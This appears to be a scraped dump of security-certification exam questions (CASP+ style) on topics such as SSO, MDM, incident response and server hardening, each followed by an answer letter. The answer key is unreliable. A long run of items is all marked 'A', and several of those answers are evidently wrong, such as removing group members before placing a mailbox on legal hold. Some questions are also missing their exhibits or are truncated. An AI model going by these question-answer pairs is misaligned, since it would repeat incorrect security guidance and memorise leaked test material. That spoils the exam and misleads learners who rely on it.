An engineer needs to provide access to company resources for several offshore contractors. The contractors require: ✑ Access to a number of applications, including internal websites ✑ Access to database data and the ability to manipulate it ✑ The ability to log into Linux and Windows servers remotely Which of the following remote access technologies are the BEST choices to provide all of this access securely? (Choose two.) A. VTC B. VRRP C. VLAN D. VDI E. VPN F. Telnet

DE

Within the past six months, a company has experienced a series of attacks directed at various collaboration tools. Additionally, sensitive information was compromised during a recent security breach of a remote access session from an unsecure site. As a result, the company is requiring all collaboration tools to comply with the following: ✑ Secure messaging between internal users using digital signatures ✑ Secure sites for video-conferencing sessions ✑ Presence information for all office employees ✑ Restriction of certain types of messages to be allowed into the network. Which of the following applications must be configured to meet the new requirements? (Choose two.) A. Remote desktop B. VoIP C. Remote assistance D. Email E. Instant messaging F. Social media websites

DE

A company recently experienced a security incident in which its domain controllers were the target of a DoS attack. In which of the following steps should technicians connect domain controllers to the network and begin authenticating users again? A. Preparation B. Identification C. Containment D. Eradication E. Recovery F. Lessons learned

E

A security manager is determining the best DLP solution for an enterprise. A list of requirements was created to use during the source selection. The security manager wants to confirm a solution exists for the requirements that have been defined. Which of the following should the security manager use? A. NDA B. RFP C. RFQ D. MSA E. RFI

E

During the deployment of a new system, the implementation team determines that APIs used to integrate the new system with a legacy system are not functioning properly. Further investigation shows there is a misconfigured encryption algorithm used to secure data transfers between systems. Which of the following should the project manager use to determine the source of the defined algorithm in use? A. Code repositories B. Security requirements traceability matrix C. Software development lifecycle D. Roles matrix E. Implementation guide

E

Given the following code snippet: FORM ACTION="http://192.168.51.10/cgi-bin/order.p1" method="post" input type=hidden name="price" value="199.99" input type=hidden name="prd_id" value="X190" QUANTITY: input type=text name="quant" size=3 maxlength=3 value=1 Of which of the following is this snippet an example? A. Data execution prevention B. Buffer overflow C. Failure to use standard libraries D. Improper field usage E. Input validation

E

Organization that has migrated their highly customized external websites into the cloud.

Public cloud with PaaS

Marketing organization that outsources email delivery to an online provider.

Public cloud with SaaS

SIMULATION -As a security administrator, you are asked to harden a server running Red Hat Enterprise Server 5.5 64-bit. This server is being used as a DNS and time server. It is not used as a -database, -web server -print server -There are no wireless connections to the server -it does not need to print. The command window will be provided along with root access. You are connected via a secure shell with root access. You may query help for a list of commands.Instructions: You need to disable and turn off unrelated services and processes.It is possible to simulate a crash of your server session. The simulation can be reset, but the server cannot be rebooted. If at any time you would like to bring back the initial state of the simulation, please click the Reset All button. [root@comptia-test~]# [root@comptia-test~]# help Available Commands kill -9 <pid> ps -A chkconfig --list checkconfig --level 3 <service name> <on/off> service <service name> <start/stop> [root@comptia-test~]#

1) ps -A (lists all the processes that are running. Make note of all database (mysqld), web server (httpd), print servers (lpd), bluetooth, wifi services (wpa_supplicant). 2) kill -9 <pid> all the services the question mention that aren't needed. 3) chkconfig --list (this will list all the services that will be started when the system starts/restarts.) 4) chkconfig --level 3 <service> off example chkconfig --level 3 mysqld off 5) run ps -A and chkconfig --list to double check those pids/services are off or gone.

A security technician receives a copy of a report that was originally sent to the board of directors by the Chief Information Security Officer (CISO).The report outlines the following KPI/KRI data for the last 12 months: (CHART with months and detected fishing attempts) Which of the following BEST describes what could be interpreted from the above data?

1. AV coverage across the fleet improved 2. There is no correlation between infected systems and AV coverage. 3. There is no correlation between detected phishing attempts and infected systems 4. A correlation between threat landscape rating and infected systems appears to exist. 5. Effectiveness and performance of the security team appears to be degrading.

A company is moving all of its web applications to an SSO configuration using SAML. Some employees report that when signing in to an application, they get an error message on the login screen after entering their username and password, and are denied access. When they access another system that has been converted to the new SSO authentication model, they are able to authenticate successfully without being prompted for login. Which of the following is MOST likely the issue? A. The employees are using an old link that does not use the new SAML authentication. B. The XACML for the problematic application is not in the proper format or may be using an older schema. C. The web services methods and properties are missing the required WSDL to complete the request after displaying the login page. D. A threat actor is implementing an MITM attack to harvest credentials.

A

A company is transitioning to a new VDI environment, and a system engineer is responsible for developing a sustainable security strategy for the VDIs. Which of the following is the MOST appropriate order of steps to be taken? A. Firmware update, OS patching, HIDS, antivirus, baseline, monitoring agent B. OS patching, baseline, HIDS, antivirus, monitoring agent, firmware update C. Firmware update, OS patching, HIDS, antivirus, monitoring agent, baseline D. Baseline, antivirus, OS patching, monitoring agent, HIDS, firmware update

A

A company uses an application in its warehouse that works with several commercially available tablets and can only be accessed inside the warehouse. The support department would like the selection of tablets to be limited to three models to provide better support and ensure spares are on hand. Users often keep the tablets after they leave the department, as many of them store personal media items. Which of the following should the security engineer recommend to meet these requirements? A. COPE with geofencing B. BYOD with containerization C. MDM with remote wipe D. CYOD with VPN

A

A company wants to confirm sufficient executable space protection is in place for scenarios in which malware may be attempting buffer overflow attacks. Which of the following should the security engineer check? A. NX/XN B. ASLR C. strcpy D. ECC

A

A company's user community is being adversely affected by various types of emails whose authenticity cannot be trusted. The Chief Information Security Officer(CISO) must address the problem. Which of the following solutions would BEST support trustworthy communication solutions? A. Enabling spam filtering and DMARC. B. Using MFA when logging into email clients and the domain. C. Enforcing HTTPS everywhere so web traffic, including email, is secure. D. Enabling SPF and DKIM on company servers. E. Enforcing data classification labels before an email is sent to an outside party.

A

A consultant is hired to perform a passive vulnerability assessment of a company to determine what information might be collected about the company and its employees. The assessment will be considered successful if the consultant can discover the name of one of the IT administrators. Which of the following is MOST likely to produce the needed information? A. Whois B. DNS enumeration C. Vulnerability scanner D. Fingerprinting

A

A financial institution's information security officer is working with the risk management officer to determine what to do with the institution's residual risk after all security controls have been implemented. Considering the institution's very low risk tolerance, which of the following strategies would be BEST? A. Transfer the risk. B. Avoid the risk C. Mitigate the risk. D. Accept the risk.

A

A firewall specialist has been newly assigned to participate in red team exercises and needs to ensure the skills represent real-world threats. Which of the following would be the BEST choice to help the new team member learn bleeding-edge techniques? A. Attend hacking conventions. B. Research methods while using Tor. C. Interview current red team members. D. Attend web-based training.

A

A government contracting company issues smartphones to employees to enable access to corporate resources. Several employees will need to travel to a foreign country for business purposes and will require access to their phones. However, the company recently received intelligence that its intellectual property is highly desired by the same country's government. Which of the following MDM configurations would BEST reduce the risk of compromise while on foreign soil? A. Disable firmware OTA updates. B. Disable location services. C. Disable push notification services. D. Disable wipe

A

A government entity is developing requirements for an RFP to acquire a biometric authentication system. When developing these requirements, which of the following considerations is MOST critical to the verification and validation of the SRTM? A. Local and national laws and regulations B. Secure software development requirements C. Environmental constraint requirements D. Testability of requirements

A

A government organization operates and maintains several ICS environments. The categorization of one of the ICS environments led to a moderate baseline. The organization has complied a set of applicable security controls based on this categorization. Given that this is a unique environment, which of the following should the organization do NEXT to determine if other security controls should be considered? A. Check for any relevant or required overlays. B. Review enhancements within the current control set. C. Modify to a high-baseline set of controls. D. Perform continuous monitoring.

A

A large industrial system's smart generator monitors the system status and sends alerts to third-party maintenance personnel when critical failures occur. While reviewing the network logs, the company's security manager notices the generator's IP is sending packets to an internal file server's IP. Which of the following mitigations would be BEST for the security manager to implement while maintaining alerting capabilities? A. Segmentation B. Firewall whitelisting C. Containment D. Isolation

A

A manufacturing company recently recovered from an attack on its ICS devices. It has since reduced the attack surface by isolating the affected components. The company now wants to implement detection capabilities. It is considering a system that is based on machine learning. Which of the following features would BEST describe the driver to adopt such nascent technology over mainstream commercial IDSs? A. Trains on normal behavior and identifies deviations therefrom B. Identifies and triggers upon known bad signatures and behaviors C. Classifies traffic based on logical protocols and messaging formats D. Automatically reconfigures ICS devices based on observed behavior

A

A manufacturing company's security engineer is concerned a remote actor may be able to access the ICS that is used to monitor the factory lines. The security engineer recently proposed some techniques to reduce the attack surface of the ICS to the Chief Information Security Officer (CISO). Which of the following would BEST track the reductions to show the CISO the engineer's plan is successful during each phase? A. Conducting tabletop exercises to evaluate system risk B. Contracting a third-party auditor after the project is finished C. Performing pre- and post-implementation penetration tests D. Running frequent vulnerability scans during the project

A

A network service on a production system keeps crashing at random times. The systems administrator suspects a bug in the listener is causing the service to crash, resulting in a DoS. When the service crashes, a core dump is left in the /tmp directory. Which of the following tools can the systems administrator use to reproduce these symptoms? A. Fuzzer B. Vulnerability scanner C. Core dump analyzer D. Debugger

A

A new employee is plugged into the network on a BYOD machine but cannot access the network. Which of the following must be configured so the employee can connect to the network? A. Port security B. Firewall C. Remote access D. VPN

A

A newly hired security analyst has joined an established SOC team. Not long after going through corporate orientation, a new attack method on web-based applications was publicly revealed. The security analyst immediately brings this new information to the team lead, but the team lead is not concerned about it. Which of the following is the MOST likely reason for the team lead's position? A. The organization has accepted the risks associated with web-based threats. B. The attack type does not meet the organization's threat model. C. Web-based applications are on isolated network segments. D. Corporate policy states that NIPS signatures must be updated every hour.

A

A researcher is working to identify what appears to be a new variant of an existing piece of malware commonly used in ransomware attacks. While it is not identical to the malware previously evaluated, it has a number of similarities including language, payload, and algorithms. Which of the following would help the researcher safely compare the code base of the two variants? A. Virtualized sandbox B. Vulnerability scanner C. Software-defined network D. HTTP interceptor

A

A security analyst for a bank received an anonymous tip on the external banking website showing the following: ✑ Protocols supported- TLS 1.0- SSL 3- SSL 2 ✑ Cipher suites supported- TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA-ECDH p256r1- TLS_DHE_RSA_WITH_AES_256_CBC_SHA-DH 1024bit- TLS_RSA_WITH_RC4_128_SHA ✑ TLS_FALLBACK_SCSV non supported✑ POODLE ✑ Weak PFS ✑ OCSP stapling supported Which of the following should the analyst use to reproduce these findings comprehensively? A. Query the OCSP responder and review revocation information for the user certificates. B. Review CA-supported ciphers and inspect the connection through an HTTP proxy. C. Perform a POODLE (SSLv3) attack using an exploitations framework and inspect the output. D. Inspect the server certificate and simulate SSL/TLS handshakes for enumeration.

A

A security analyst is attempting to break into a client's secure network. The analyst was not given prior information about the client, except for a block of public IP addresses that are currently in use. After network enumeration, the analyst's NEXT step is to perform: A. a gray-box penetration test B. a risk analysis C. a vulnerability assessment D. an external security audit E. a red team exercise

A

A security analyst is inspecting pseudocode of the following multithreaded application: 1. perform daily ETL of data 1.1 validate that yesterday's data model file exists 1.2 validate that today's data model file does not exist 1.2 extract yesterday's data model 1.3 transform the format 1.4 load the transformed data into today's data model file 1.5 exit Which of the following security concerns is evident in the above pseudocode? A. Time of check/time of use B. Resource exhaustion C. Improper storage of sensitive data D. Privilege escalation

A

A security analyst works for a defense contractor that produces classified research on drones. The contractor faces nearly constant attacks from sophisticated nation-state actors and other APIs. Which of the following would help protect the confidentiality of the research data? A. Use diverse components in layers throughout the architecture B. Implement non-heterogeneous components at the network perimeter C. Purge all data remnants from client devices' volatile memory at regularly scheduled intervals D. Use only in-house developed applications that adhere to strict SDLC security requirements

A

A security architect has been assigned to a new digital transformation program. The objectives are to provide better capabilities to customers and reduce costs.The program has highlighted the following requirements: 1. Long-lived sessions are required, as users do not log in very often. 2. The solution has multiple SPs, which include mobile and web applications. 3. A centralized IdP is utilized for all customer digital channels. 4. The applications provide different functionality types such as forums and customer portals. 5. The user experience needs to be the same across both mobile and web-based applications. Which of the following would BEST improve security while meeting these requirements? A. Social login to IdP, securely store the session cookies, and implement one-time passwords sent to the mobile device B. Certificate-based authentication to IdP, securely store access tokens, and implement secure push notifications. C. Username and password authentication to IdP, securely store refresh tokens, and implement context-aware authentication. D. Username and password authentication to SP, securely store Java web tokens, and implement SMS OTPs.

A

A security architect is designing a system to satisfy user demand for reduced transaction time, increased security and message integrity, and improved cryptographic security. The resultant system will be used in an environment with a broad user base where many asynchronous transactions occur every minute and must be publicly verifiable. Which of the following solutions BEST meets all of the architect's objectives? A. An internal key infrastructure that allows users to digitally sign transaction logs B. An agreement with an entropy-as-a-service provider to increase the amount of randomness in generated keys. C. A publicly verified hashing algorithm that allows revalidation of message integrity at a future date. D. An open distributed transaction ledger that requires proof of work to append entries.

A

A security consultant is improving the physical security of a sensitive site and takes pictures of the unbranded building to include in the report. Two weeks later, the security consultant misplaces the phone, which only has one hour of charge left on it. The person who finds the phone removes the MicroSD card in an attempt to discover the owner to return it. The person extracts the following data from the phone and EXIF data from some files: DCIM Images folder - Audio books folder - Torrentz -My TAX.xls - Consultancy HR Manual.doc - Camera: SM-G950F - Exposure time: 1/60s - Location: 3500 Lacey Road USA - Which of the following BEST describes the security problem? A. MicroSD in not encrypted and also contains personal data. B. MicroSD contains a mixture of personal and work data. C. MicroSD in not encrypted and contains geotagging information. D. MicroSD contains pirated software and is not encrypted.

A

A security engineer discovers a PC may have been breached and accessed by an outside agent. The engineer wants to find out how this breach occurred before remediating the damage. Which of the following should the security engineer do FIRST to begin this investigation? A. Create an image of the hard drive B. Capture the incoming and outgoing network traffic C. Dump the contents of the RAM D. Parse the PC logs for information on the attacker

A

A security engineer is attempting to increase the randomness of numbers used in key generation in a system. The goal of the effort is to strengthen the keys against predictive analysis attacks. Which of the following is the BEST solution? A. Use an entropy-as-a-service vendor to leverage larger entropy pools. B. Loop multiple pseudo-random number generators in a series to produce larger numbers. C. Increase key length by two orders of magnitude to detect brute forcing. D. Shift key generation algorithms to ECC algorithms.

A

A security engineer is deploying an IdP to broker authentication between applications. These applications all utilize SAML 2.0 for authentication. Users log into the IdP with their credentials and are given a list of applications they may access. One of the application's authentications is not functional when a user initiates an authentication attempt from the IdP. The engineer modifies the configuration so users browse to the application first, which corrects the issue. Which of the following BEST describes the root cause? A. The application only supports SP-initiated authentication. B. The IdP only supports SAML 1.0 C. There is an SSL certificate mismatch between the IdP and the SaaS application. D. The user is not provisioned correctly on the IdP.

A

A security engineer is performing an assessment again for a company. The security engineer examines the following output from the review: Password Complexity Disabled Require authentication from a DC before sign-in Enabled Allow guest user access Enabled Allow anonymous enumeration of groups Disabled Which of the following tools is the engineer utilizing to perform this assessment? A. Vulnerability scanner B. SCAP scanner C. Port scanner D. Interception proxy

A

A security manager needed to protect a high-security data center, so the manager installed a mantrap that can detect an employee's heartbeat, weight, and badge. Which of the following did the security manager implement? A. A physical control B. A corrective control C. A compensating control D. A managerial control

A

A small firm's newly created website has several design flaws. The developer created the website to be fully compatible with ActiveX scripts in order to use various digital certificates and trusting certificate authorities. However, vulnerability testing indicates sandboxes were enabled, which restricts the code's access to resources within the user's computer. Which of the following is the MOST likely cause of the error? A. The developer inadvertently used Java applets B. The developer established a corporate account with a non-reputable certification authority C. The developer used fuzzy logic to determine how the web browser would respond once ports 80 and 443 were both open D. The developer did not consider that mobile code would be transmitted across the network

A

A software development firm wants to validate the use of standard libraries as part of the software development process. Each developer performs unit testing prior to committing changes to the code repository. Which of the following activities would be BEST to perform after a commit but before the creation of a branch? A. Static analysis B. Heuristic analysis C. Dynamic analysis D. Web application vulnerability scanning E. Penetration testing

A

A systems administrator has installed a disk wiping utility on all computers across the organization and configured it to perform a seven-pass wipe and an additional pass to overwrite the disk with zeros. The company has also instituted a policy that requires users to erase files containing sensitive information when they are no longer needed. To ensure the process provides the intended results, an auditor reviews the following content from a randomly selected decommissioned hard disk: 00000000000000000000000000 00000000000000000000000000 00000000000000000000000000 000000000000000000000qjkehd Which of the following should be included in the auditor's report based on the above findings? A. The hard disk contains bad sectors B. The disk has been degaussed. C. The data represents part of the disk BIOS. D. Sensitive data might still be present on the hard drives.

A

A vendor develops a mobile application for global customers. The mobile application supports advanced encryption of data between the source (the mobile device) and the destination (the organization's ERP system). As part of the vendor's compliance program, which of the following would be important to take into account? A. Mobile tokenization B. Export controls C. Device containerization D. Privacy policies

A

A video-game developer has received reports of players who are cheating. All game players each have five capabilities that are ranked on a scale of 1 to 10 points, with 10 total points available for balance. Players can move these points between capabilities at any time. The programming logic is as follows: ✑ A player asks to move points from one capability to another. ✑ The source capability must have enough points to allow the move. ✑ The destination capability must not exceed 10 after the move. ✑ The move from source capability to destination capability is then completed. The time stamps of the game logs show each step of the transfer process takes about 900ms. However, the time stamps of the cheating players show capability transfers at the exact same time. The cheating players have 10 points in multiple capabilities. Which of the following is MOST likely being exploited to allow these capability transfers? A. TOC/TOU B. CSRF C. Memory leak D. XSS E. SQL injection F. Integer overflow

A

After analyzing code, two developers at a company bring these samples to the security operations manager: Example Language: Java # Java Web App ResourceBundle properties file ... webapp.ldap.username=secretUsername webapp... ... Which of the following would BEST solve these coding problems? A. Use a privileged access management system B. Prompt the administrator for the password C. Use salted hashes with PBKDF2 D. Increase the complexity and length of the password

A

An administrator is working with management to develop policies related to the use of the cloud-based resources that contain corporate data. Management plans to require some control over organizational data stored on personal devices, such as tablets. Which of the following controls would BEST support management's policy? A. MDM B. Sandboxing C. Mobile tokenization D. FDE E. MFA

A

An analyst is investigating anomalous behavior on a corporate-owned, corporate-managed mobile device with application whitelisting enabled, based on a name string. The employee to whom the device is assigned reports the approved email client is displaying warning messages that can launch browser windows and is adding unrecognized email addresses to the "compose" window. Which of the following would provide the analyst the BEST chance of understanding and characterizing the malicious behavior? A. Reverse engineer the application binary. B. Perform static code analysis on the source code. C. Analyze the device firmware via the JTAG interface. D. Change to a whitelist that uses cryptographic hashing. E. Penetration test the mobile application.

A

An application has been through a peer review and regression testing and is prepared for release. A security engineer is asked to analyze an application binary to look for potential vulnerabilities prior to wide release. After thoroughly analyzing the application, the engineer informs the developer it should include additional input sanitation in the application to prevent overflows. Which of the following tools did the security engineer MOST likely use to determine this recommendation? A. Fuzzer B. HTTP interceptor C. Vulnerability scanner D. SCAP scanner

A

An internal penetration tester finds a legacy application that takes measurement input made in a text box and outputs a specific string of text related to industry requirements. There is no documentation about how this application works, and the source code has been lost. Which of the following would BEST allow the penetration tester to determine the input and output relationship? A. Running an automated fuzzer B. Constructing a known cipher text attack C. Attempting SQL injection commands D. Performing a full packet capture E. Using the application in a malware sandbox

A

An organization is evaluating options related to moving organizational assets to a cloud-based environment using an IaaS provider. One engineer has suggested connecting a second cloud environment within the organization's existing facilities to capitalize on available datacenter space and resources. Other project team members are concerned about such a commitment of organizational assets, and ask the Chief Security Officer (CSO) for input. The CSO explains that the project team should work with the engineer to evaluate the risks associated with using the datacenter to implement: A. a hybrid cloud. B. an on-premises private cloud. C. a hosted hybrid cloud. D. a private cloud.

A

An organization's Chief Financial Officer (CFO) was the target of several different social engineering attacks recently. The CFO has subsequently worked closely with the Chief Information Security Officer (CISO) to increase awareness of what attacks may look like. An unexpected email arrives in the CFO's inbox from a familiar name with an attachment. Which of the following should the CISO task a security analyst with to determine whether or not the attachment is safe? A. Place it in a malware sandbox. B. Perform a code review of the attachment. C. Conduct a memory dump of the CFOג€™s PC. D. Run a vulnerability scan on the email server.

A

An organization's mobile device inventory recently provided notification that a zero-day vulnerability was identified in the code used to control the baseband of the devices. The device manufacturer is expediting a patch, but the rollout will take several months. Additionally, several mobile users recently returned from an overseas trip and report their phones now contain unknown applications, slowing device performance. Users have been unable to uninstall these applications, which persist after wiping the devices. Which of the following MOST likely occurred and provides mitigation until the patches are released? A. Unauthentic firmware was installed; disable OTA updates and carrier roaming via MDM B. Users opened a spear-phishing email; disable third-party application stores and validate all signed code prior to execution C. An attacker downloaded monitoring applications; perform a full factory reset of the affected devices D. Users received an improperly encoded emergency broadcast message, leading to an integrity loss condition; disable emergency broadcast messages

A

An organization's network engineering team recently deployed a new software encryption solution to ensure the confidentiality of data at rest, which was found to add 300ms of latency to data read-write requests in storage, impacting business operations. Which of the following alternative approaches would BEST address performance requirements while meeting the intended security objective? A. Employ hardware FDE or SED solutions. B. Utilize a more efficient cryptographic hash function. C. Replace HDDs with SSD arrays. D. Use a FIFO pipe a multithreaded software solution.

A

An organization, which handles large volumes of PII, allows mobile devices that can process, store, and transmit PII and other sensitive data to be issued to employees. Security assessors can demonstrate recovery and decryption of remnant sensitive data from device storage after MDM issues a successful wipe command. Assuming availability of the controls, which of the following would BEST protect against the loss of sensitive data in the future? A. Implement a container that wraps PII data and stores keying material directly in the container's encrypted application space. B. Use encryption keys for sensitive data stored in an eFuse-backed memory space that is blown during remote wipe. C. Issue devices that employ a stronger algorithm for the authentication of sensitive data stored on them. D. Procure devices that remove the bootloader binaries upon receipt of an MDM-issued remote wipe command.

A

Ann, a corporate executive, has been the recent target of increasing attempts to obtain corporate secrets by competitors through advanced, well-funded means. Ann frequently leaves her laptop unattended and physically unsecure in hotel rooms during travel. A security engineer must find a practical solution for Ann that minimizes the need for user training. Which of the following is the BEST solution in this scenario? A. Full disk encryption B. Biometric authentication C. An eFuse-based solution D. Two-factor authentication

A

Ann, a security administrator, is conducting an assessment on a new firewall, which was placed at the perimeter of a network containing PII. Ann runs the following commands on a server (10.0.1.19) behind the firewall:From her own workstation (192.168.2.45) outside the firewall, Ann then runs a port scan against the server and records the following packet capture of the port scan: 0.872299 192.168.2.45 -> 10.0.1.19 TCP 62 49188 > 22 [SYN] Seq=0 ... ... ... Connectivity to the server from outside the firewall worked as expected prior to executing these commands. Which of the following can be said about the new firewall? A. It is correctly dropping all packets destined for the server. B. It is not blocking or filtering any traffic to the server. C. Iptables needs to be restarted. D. The IDS functionality of the firewall is currently disabled.

A

As part of an organization's compliance program, administrators must complete a hardening checklist and note any potential improvements. The process of noting improvements in the checklist is MOST likely driven by: A. the collection of data as part of the continuous monitoring program. B. adherence to policies associated with incident response. C. the organization's software development life cycle. D. changes in operating systems or industry trends.

A

At a meeting, the systems administrator states the security controls a company wishes to implement seem excessive, since all of the information on the company's web servers can be obtained publicly and is not proprietary in any way. The next day the company's website is defaced as part of an SQL injection attack, and the company receives press inquiries about the message the attackers displayed on the website. Which of the following is the FIRST action the company should take? A. Refer to and follow procedures from the company's incident response plan. B. Call a press conference to explain that the company has been hacked. C. Establish chain of custody for all systems to which the systems administrator has access. D. Conduct a detailed forensic analysis of the compromised system. E. Inform the communications and marketing department of the attack details.

A

Confidential information related to Application A, Application B, and Project X appears to have been leaked to a competitor. After consulting with the legal team, the IR team is advised to take immediate action to preserve evidence for possible litigation and criminal charges. While reviewing the rights and group ownership of the data involved in the breach, the IR team inspects the following distribution group access lists: Group Name: product-updates-application-a Members: administrator, app-support, dev-ops, jdoe, jsmith, mpeters Group Name: pending-bug-fixes-application-a Members: administrator, app-support, dev-ops, jsmith, jdoe, mpeters, rwilliams Group Name: inflight-updates-application-b Members: app-support, dev-ops, jdoe, nbrown, jsmith Group Name: PoC-project-x - Members: dev-support, product-mgt, jsmith, nbrown, rwilliams Which of the following actions should the IR team take FIRST? A. Remove all members from the distribution groups immediately B. Place the mailbox for jsmith on legal hold C. Implement a proxy server on the network to inspect all outbound SMTP traffic for the DevOps group D. Install DLP software on all developer laptops to prevent data from leaving the network

A

During a security assessment, activities were divided into two phases: internal and external exploitation. The security assessment team set a hard time limit on external activities before moving to a compromised box within the enterprise perimeter. Which of the following methods is the assessment team most likely to employ NEXT? A. Pivoting from the compromised, moving laterally through the enterprise, and trying to exfiltrate data and compromise devices. B. Conducting a social engineering attack attempt with the goal of accessing the compromised box physically. C. Exfiltrating network scans from the compromised box as a precursor to social media reconnaissance D. Open-source intelligence gathering to identify the network perimeter and scope to enable further system compromises.

A

Following a recent and very large corporate merger, the number of log files an SOC needs to review has approximately tripled. The Chief Information SecurityOfficer (CISO) has not been allowed to hire any more staff for the SOC, but is looking for other ways to automate the log review process so the SOC receives less noise. Which of the following would BEST reduce log noise for the SOC? A. SIEM filtering B. Machine learning C. Outsourcing D. Centralized IPS

A

Following a recent network intrusion, a company wants to determine the current security awareness of all of its employees. Which of the following is the BEST way to test awareness? A. Conduct a series of security training events with comprehensive tests at the end B. Hire an external company to provide an independent audit of the network security posture C. Review the social media of all employees to see how much proprietary information is shared D. Send an email from a corporate account, requesting users to log onto a website with their enterprise account

A

Following the successful response to a data-leakage incident, the incident team lead facilitates an exercise that focuses on continuous improvement of the organization's incident response capabilities. Which of the following activities has the incident team lead executed? A. Lessons learned review B. Root cause analysis C. Incident audit D. Corrective action exercise

A

Joe, a penetration tester, is assessing the security of an application binary provided to him by his client. Which of the following methods would be the MOST effective in reaching this objective? A. Employ a fuzzing utility B. Use a static code analyzer C. Run the binary in an application sandbox D. Manually review the binary in a text editor

A

Legal counsel has notified the information security manager of a legal matter that will require the preservation of electronic records for 2000 sales force employees. Source records will be email, PC, network shares, and applications. After all restrictions have been lifted, which of the following should the information manager review? A. Data retention policy B. Legal hold C. Chain of custody D. Scope statement

A

Providers at a healthcare system with many geographically dispersed clinics have been fined five times this year after an auditor received notice of the following SMS messages: Which of the following represents the BEST solution for preventing future fines? A. Implement a secure text-messaging application for mobile devices and workstations. B. Write a policy requiring this information to be given over the phone only. C. Provide a courier service to deliver sealed documents containing public health informatics. D. Implement FTP services between clinics to transmit text documents with the information. E. Implement a system that will tokenize patient numbers.

A

SIMULATION Click on the exhibit buttons to view the four messages. Message 1 "I am escalating a security issue for ProjectX, which is an initiative to deliver exciting features to customers...." Message 2 "It has come to my attention that ProjectX has a security vulnerability. The storage module does not encrypt sensitive customer details..... Message 3 "ProjectX is not encrypting customer data!..." Message 4 "As you may be aware, ProjectX is our new flagship customer banking platform in development..." A security architect is working with a project team to deliver an important service that stores and processes customer banking details. The project, internally known as ProjectX, is due to launch its first set of features publicly within a week, but the team has not been able to implement encryption-at-rest of the customer records.The security architect is drafting an escalation email to senior leadership. Which of the following BEST conveys the business impact for senior leadership? A. Message 1 B. Message 2 C. Message 3 D. Message 4

A

The Chief Information Officer (CISO) is concerned that certain systems administrators will privileged access may be reading other users' emails. Review of a tool's output shows the administrators have used web mail to log into other users' inboxes. Which of the following tools would show this type of output? A. Log analysis tool B. Password cracker C. Command-line tool D. File integrity monitoring tool

A

The Chief Information Security Officer (CISO) of an e-retailer, which has an established security department, identifies a customer who has been using a fraudulent credit card. The CISO calls the local authorities, and when they arrive on-site, the authorities ask a security engineer to create a point-in-time copy of the running database in their presence. This is an example of: A. creating a forensic image B. deploying fraud monitoring C. following a chain of custody D. analyzing the order of volatility

A

The SOC is reviewing processes and procedures after a recent incident. The review indicates it took more than 30 minutes to determine that quarantining an infected host was the best course of action. This allowed the malware to spread to additional hosts before it was contained. Which of the following would BEST to improve the incident response process? A. Updating the playbook with better decision points B. Dividing the network into trusted and untrusted zones C. Providing additional end-user training on acceptable use D. Implementing manual quarantining of infected hosts

A

The government is concerned with remote military missions being negatively impacted by the use of technology that may fail to protect operational security. To remediate this concern, a number of solutions have been implemented, including the following: ✑ End-to-end encryption of all inbound and outbound communication, including personal email and chat sessions that allow soldiers to securely communicate with families. ✑ Layer 7 inspection and TCP/UDP port restriction, including firewall rules to only allow TCP port 80 and 443 and approved applications ✑ A host-based whitelist of approved websites and applications that only allow mission-related tools and sites ✑ The use of satellite communication to include multiple proxy servers to scramble the source IP address Which of the following is of MOST concern in this scenario? A. Malicious actors intercepting inbound and outbound communication to determine the scope of the mission B. Family members posting geotagged images on social media that were received via email from soldiers C. The effect of communication latency that may negatively impact real-time communication with mission control D. The use of centrally managed military network and computers by soldiers when communicating with external parties

A

Which of the following attacks can be mitigated by proper data retention policies? A. Dumpster diving B. Man-in-the browser C. Spear phishing D. Watering hole

A

Which of the following attacks can be used to exploit a vulnerability that was created by untrained users? A. A spear-phishing email with a file attachment B. A DoS using IoT devices C. An evil twin wireless access point D. A domain hijacking of a bank website

A

A software company is releasing a new mobile application to a broad set of external customers. Because the software company is rapidly releasing new features, it has built in an over-the-air software update process that can automatically update the application at launch time. Which of the following security controls should be recommended by the company's security architect to protect the integrity of the update process? (Choose two.) A. Validate cryptographic signatures applied to software updates B. Perform certificate pinning of the associated code signing key C. Require HTTPS connections for downloads of software updates D. Ensure there are multiple download mirrors for availability E. Enforce a click-through process with user opt-in for new features

AB

An engineer is assisting with the design of a new virtualized environment that will house critical company services and reduce the datacenter's physical footprint. The company has expressed concern about the integrity of operating systems and wants to ensure a vulnerability exploited in one datacenter segment would not lead to the compromise of all others. Which of the following design objectives should the engineer complete to BEST mitigate the company's concerns? (Choose two.) A. Deploy virtual desktop infrastructure with an OOB management network B. Employ the use of vTPM with boot attestation C. Leverage separate physical hardware for sensitive services and data D. Use a community CSP with independently managed security services E. Deploy to a private cloud with hosted hypervisors on each physical machine

AB

During a criminal investigation, the prosecutor submitted the original hard drive from the suspect's computer as evidence. The defense objected during the trial proceedings, and the evidence was rejected. Which of the following practices should the prosecutor's forensics team have used to ensure the suspect's data would be admissible as evidence? (Select TWO.) A. Follow chain of custody best practices B. Create an identical image of the original hard drive, store the original securely, and then perform forensics only on the imaged drive. C. Use forensics software on the original hard drive and present generated reports as evidence D. Create a tape backup of the original hard drive and present the backup as evidence E. Create an exact image of the original hard drive for forensics purposes, and then place the original back in service

AB

A company is migrating systems from an on-premises facility to a third-party managed datacenter. For continuity of operations and business agility, remote access to all hardware platforms must be available at all times. Access controls need to be very robust and provide an audit trail. Which of the following security controls will meet the company's objectives? (Choose two.) A. Integrated platform management interfaces are configured to allow access only via SSH B. Access to hardware platforms is restricted to the systems administrator's IP address C. Access is captured in event logs that include source address, time stamp, and outcome D. The IP addresses of server management interfaces are located within the company's extranet E. Access is limited to interactive logins on the VDI F. Application logs are hashed cryptographically and sent to the SIEM

AC

A medical facility wants to purchase mobile devices for doctors and nurses. To ensure accountability, each individual will be assigned a separate mobile device. Additionally, to protect patients' health information, management has identified the following requirements: ✑ Data must be encrypted at rest. ✑ The device must be disabled if it leaves the facility. ✑ The device must be disabled when tampered with. Which of the following technologies would BEST support these requirements? (Choose two.) A. eFuse B. NFC C. GPS D. Biometric E. USB 4.1 F. MicroSD

AC

A new database application was added to a company's hosted VM environment. Firewall ACLs were modified to allow database users to access the server remotely. The company's cloud security broker then identified abnormal from a database user on-site. Upon further investigation, the security team noticed the user ran code on a VM that provided access to the hypervisor directly and access to other sensitive data. Which of the following should the security team do to help mitigate future attacks within the VM environment? (Choose two.) A. Install the appropriate patches. B. Install perimeter NGFW. C. Configure VM isolation. D. Deprovision database VM. E. Change the userג€™s access privileges. F. Update virus definitions on all endpoints.

AC

